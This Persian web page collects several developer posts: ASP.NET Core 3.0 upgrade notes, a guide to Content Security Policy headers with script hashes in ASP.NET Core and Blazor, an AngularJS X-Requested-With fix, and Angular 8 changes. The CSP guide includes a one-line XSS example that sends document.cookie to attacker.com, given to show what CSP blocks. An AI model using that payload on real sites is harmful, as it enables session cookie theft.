در طی چند ماه گذشته، ریز نکاتی که برای ارتقاء به ASP.NET Core 3.0 مورد نیاز هستند، در ذیل مطالب مرتبط با هر کدام، جهت برقراری ارتباط منطقی و امکان مشاهده‌ی روند تغییرات هرکدام، به صورت مجزا و در طی نظراتی تکمیلی، به آن مطالب اضافه شده‌اند. در ادامه برای داشتن یک دید کلی و سهولت دسترسی به آن‌ها، لیست این موارد را نیز مشاهده می‌کنید:

پیشنیاز‌های کار با ASP.NET Core 3.0


خلاصه شدن ساختار فایل‌های csproj


ارائه‌ی یک Generic Host در نگارش سوم


تغییرات مسیریابی با معرفی endpoint routing
بالا رفتن کارآیی پردازش JSON


نکته‌ی مهمی در مورد توزیع برنامه‌های وب در IIS


تغییرات SignalR


تغییرات امنیتی نگارش سوم


تغییرات تنظیمات تعدادی از میان‌افزارها


تغییر مهم ابزارهای مرتبط با EF Core 3.0
مطالب
بهبود امنیت CSP با استفاده از معرفی هش‌های اسکریپت‌های Inline
تابحال مطالب زیادی را در مورد تمیزکردن ورودی‌های کاربران، توسط ابزارهای Anti-XSS مطالعه کرده‌اید:
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»

هدف تمام آن‌ها این است که اگر اطلاعاتی از کاربر دریافت شد، پس از تمیز شدن، مشکلی با نمایش آن‌ها نداشته باشیم و به محض نمایش یک صفحه، قطعه کد جاوااسکریپتی موجود در ورودی اولیه‌ی کاربر، در پشت صحنه به صورت خودکار اجرا نشود. اما ... هرچقدر هم سعی کنیم، به مواردی خواهیم رسید که ممکن است توسط این «تمیز کننده‌های ورودی» پوشش داده نشوند و دست آخر، قابلیت اجرایی داشته باشند. در این حالت به مفهوم دیگری می‌رسیم به نام Content security policy headers و یا به اختصار CSP که اساسا اجرای هر نوع اسکریپت تزریق شده‌ای را در صفحه، ممنوع می‌کند:
- «افزودن هدرهای Content Security Policy به برنامه‌های ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
 Content-Security-Policy: default-src 'self'
یعنی مرورگر فقط در این صفحه، اطلاعاتی را که متعلق به سایت و دومین جاری است، بارگذاری می‌کند. در این حالت دیگر ویدیوهای یوتیوب معرفی شده، فایل‌های CSS و یا جاوااسکریپتی دریافتی از یک CDN دیگر اجرا نمی‌شوند؛ چون بارگذاری نخواهند شد. همچنین دیگر نمی‌توان یک قطعه‌ی اسکریپتی را هم داخل صفحه به صورت inline تعریف و اجرا کرد. یعنی حداقل اسکریپت‌های داخل صفحه‌‌ای Google analytics هم از کار خواهند افتاد. که این رفتار دقیقا مطلوب ما است؛ چون نمی‌خواهیم هیچ نوع اسکریپت واقع در صفحه - خصوصا موارد دریافتی از کاربران (مانند مثال زیر) به‌عنوان ورودی! - اجرا شوند. برای نمونه در مثال زیر که پس از نمایش اطلاعات دریافتی از کاربر، در صفحه اجرا می‌شود، کوکی‌های کاربر جاری را جهت ثبت، در اختیار سایت دیگری قرار می‌دهد:
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>


سؤال: چگونه توسط CSP، اسکریپت‌های inline خوب را از بد تشخیص دهیم؟

یک روش مواجه شدن با منع اجرای اسکریپت‌های inline، مجاز اعلام کردن تمام آن‌ها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بی‌مصرف می‌کند. روش دیگر آن، معرفی هش اسکریپت‌های inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمی‌خواهد آن‌را اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر می‌کند:
Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.
همانطور که مشاهده می‌کنید، یک هش از نوع SHA-256 نیز در اینجا ذکر شده‌است. این هش دقیقا مرتبط با قطعه کدی است که خود ما در صفحه قرار داده‌ایم و یک «اسکریپت خوب» به‌شمار می‌رود. روش معرفی آن به هدرهای CSP نیز به صورت زیر است:
Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
در اینجا به نحو صریحی مشخص می‌کنیم که دقیقا کدام اسکریپت inline، مجاز به اجرا است؛ مابقی موارد به صورت خودکار بلاک خواهند شد. بدیهی است هر تغییری در اسکریپت قرار گرفته شد‌ه‌ی در صفحه، سبب تغییر هش آن خواهد شد و باید مجددا از طریق developer tools مرورگر و پیام خطایی که صادر می‌کند، مقدار این هش را به روز کرد.


معرفی کتابخانه‌ی NetEscapades.AspNetCore.SecurityHeaders‌

جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامه‌های مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، می‌توان از میان‌افزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بسته‌ی نیوگت آن‌را معرفی کرد:
<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>
و سپس به نحو زیر، یکی از امن‌ترین تنظیمات را تدارک دید:
public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}
چند نکته:
- این تنظیمات برای Blazor WASM تهیه شده‌اند. در این حالت ذکر UnsafeEval برای اجرای اسکریپت‌های فر‌یم‌ورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده می‌کنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هش‌ها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده می‌کنید.

پس از تدارک کلاس تنظیمات فوق، روش استفاده‌ی از آن در فایل Program.cs و توسط میان‌افزار SecurityHeaders، به صورت زیر است:
var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...
این تنظیم سبب می‌شود تا هدرهای زیر به صورت خودکار تولید و به هر Response ای اضافه شوند:
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block
مطالب
بررسی خروجی IsAjaxRequest در درخواست های http$ توسط AngularJS
در یکی از پروژه‌هایی که دارم از AngularJS  و ASP.NET MVC استفاده میکنم. به هنگام استفاده از درخواست‌های ایجکسی توسط سرویس http$ به مشکل عدم تشخیص ایجکسی بودن درخواست برخوردم.
توسط فیلتری که در اینجا توضیح داده شده و قرار دادن آن قبل از اکشن مورد نظر، میتوانیم تشخیص بدهیم که آیا درخواست رسیده از سمت کلاینت، ایجکسی است یا خیر؟ که در صورت ایجکسی نبودن درخواست، با صادر کردن یک استثنا مانع از اجرا شدن اکشن شویم. این فیلتر از اکستنشنی به نام IsAjaxRequest برای این تشخیص استفاده میکند:
HttpContext.Request.IsAjaxRequest();
اما هنگام استفاده از سرویس http$ ،  اکستنشن ()IsAjaxRequest همیشه مقدار False را برمیگرداند. در حالیکه با متدهای ساده ایجکسی Jquery مثل get.$ و... ، مقدار این اکستنشن True میشود و به خوبی هم کار میکند.
درخواست‌های هر دو مورد را که با فایرباگ بررسی کردم به این مقادیر برخوردم.
ویزگی‌های درخواست توسط get - Jquery.$

و ویژگی‌های درخواست توسط سرویس http - AngularJs$ :

همینطور که میبینید، در هدر درخواست http$ یک مورد مفقود الاثر شده به نام X-Requested-With داریم و همین مقدار است که مشخص میکند این یک درخواست ایجکسی است یا خیر و اکستنشن ()IsAjaxRequest نیر با همین مقدار عمل تشخیص را انجام میدهد. و به همین خاطر بود که این متد مقدار False را برمیگرداند.

بعد از کمی جستجو در این مورد ، به مخزن git  انگیولار رسیدم و به صراحت به این موضوع اشاره شده بود که این هدر به صورت پیشفرض از درخواست‌های http$ برداشته شده است.

بنابراین تنها راه حل این بود که خودمان به صورت دستی این هدر خاص رو به ماژول برنامه اضافه کنیم. به صورت زیر :

myAppModule.config(['$httpProvider', function($httpProvider) {
    $httpProvider.defaults.headers.common["X-Requested-With"] = 'XMLHttpRequest';
}]);

با اضافه کردن این هدر به درخواست‌های http$ ، اکستنشن ()IsAjaxRequest مقدار درست را برمیگرداند.

نظرات مطالب
بررسی برخی تغییرات در Angular 8
TypeScript 3.4.x Support
انگیولار 8، از (3.4) typescript و نگارش‌های بالاتر پشتیبانی می‌کند. اگر می‌خواهیم از انگیولار 8 برای App ‌های جدید استفاده کنیم، نیاز است typescript را به نگارش 3.4 و یا بالاتر ارتقاء دهیم.

Ivy Rendering Engine
یکی از مهمترین و مورد انتظارترین ویژگی‌های انگیولار 8، موتور IVY می‌باشد. IVY یک Angular Compiler جدید می‌باشد و هم چنین یک ابزار که به عنوان یک rendering pipeline جدید عمل می‌کند. مزیت Ivy این است که به طور قابل توجهی bundle‌های کوچکی را تولید می‌کند (سایز bundle‌ها را کاهش میدهد)  و همچنین به آسانی می‌تواند کامپایل سریعی را انجام دهد. بنابراین Ivy، اساس نوآوری در دنیای انگیولار می‌باشد. Ivy در انگیولار 8 به صورت پیش نمایشی می‌باشد. هدف اصلی این نسخه این است که بازخورد‌ها را از جامعه توسعه دهندگان انگیولار، مرتبط با Ivy دریافت کند. پیشنهاد شده است که در این روزها از Ivy برای حالت ارائه‌ی نهایی (Production) استفاده نشود.


در ngconf  سال  2019، (Brad Green)، هدایت کننده فنی تیم انگیولار گفت که در صورت استفاده از Ivy، از مزایای زیر برخوردار هستیم: 

  • کامپایل سریعتری را فراهم می‌کند (انتشار در انگیولار  9) 
  • بررسی type  در قالب‌ها، خیلی بیشتر بهبود یافته است؛ به‌گونه‌ای که می‌توان خطاهای بیشتری را در زمان build گرفت که باعث می‌شود کاربران در زمان runtime به آن خطاها برخورد نکنند (انتشار در انگیولار 9). 
  • bundle‌های با سایز کوچکتری در مقایسه با سایز bundle‌های کامپایل شده‌ی جاری 
  • کد‌های تولید شده توسط  Angular compiler، بسیار آسان‌تر، برای خواندن و درک انسان است. 
  • آخرین و مهمترین ویژگی مورد علاقه من این است که می‌توان قالب‌ها (templates) را debug کرد. من یقین دارم که این ویژگی توسط تعداد زیادی از توسعه دهندگان مورد توجه قرار خواهد گرفت .
همانطور که در متن بالا گفته شده است اگر بخواهید در یک پروژه‌ی انگیولار، Ivy  را شامل کنید، علاوه بر حالت گفته شده‌ی در متن‌، می‌توانید به صورت دستی تنظیم بالا را به پروژه‌ی انگیولار اضافه کنید (بعد از ارتقاء به انگیولار 8). پیشنهاد شده‌است که اگر می‌خواهیم از Ivy  در Application ‌ها استفاده کنیم، Application را در حالت debug، همراه با AOT compilation اجرا کنید:
ng serve --aot

Bye Bye @angular/http
از نگارش 8 انگیولار، پشتیبانی از angular/http@ متوقف می‌شود. تا نگارش 7 انگیولار، امکان استفاده‌ی از angular/http@ برای ما فراهم بود؛ اما استفاده‌ی از angular/http@ منسوخ شده بود و در نگارش 4 انگیولار یک فراخوانی امن و کارآمد HTTP را با استفاده از  angular/common/http@  فراهم کردند. 

PNPM Support
در نگارش 8 انگیولار، پشتیبانی از یک package manager جدید به نام PNPM وجود دارد که شامل NPM و Yarn می‌باشد.

Support for New Builders/Architect API
نگارش جدید Angular CLI  این اجازه را به ما می‌دهد که از نسخه‌ی جدید Builders که به عنوان Architect API شناخته می‌شود، استفاده کنیم. انگیولار از Builders API برای اجرای  عملیاتی مثل server, build, test, lint و e2e استفاده می‌کند. در ضمن می‌توانیم از builders در فایل angular.json استفاده کنیم: 
"projects": {  
  "app-name": {  
    "architect": {  
      "build": {  
        "builder": "@angular-devkit/build-angular:browser",  
      },  
      "serve": {  
        "builder": "@angular-devkit/build-angular:dev-server",  
      },  
      "test": {  
        "builder": "@angular-devkit/build-angular:karma",  
      },  
      "lint": {  
        "builder": "@angular-devkit/build-angular:tslint",  
      },  
      "e2e": {  
        "builder": "@angular-devkit/build-angular:protractor",  
      }  
    }  
  }  
}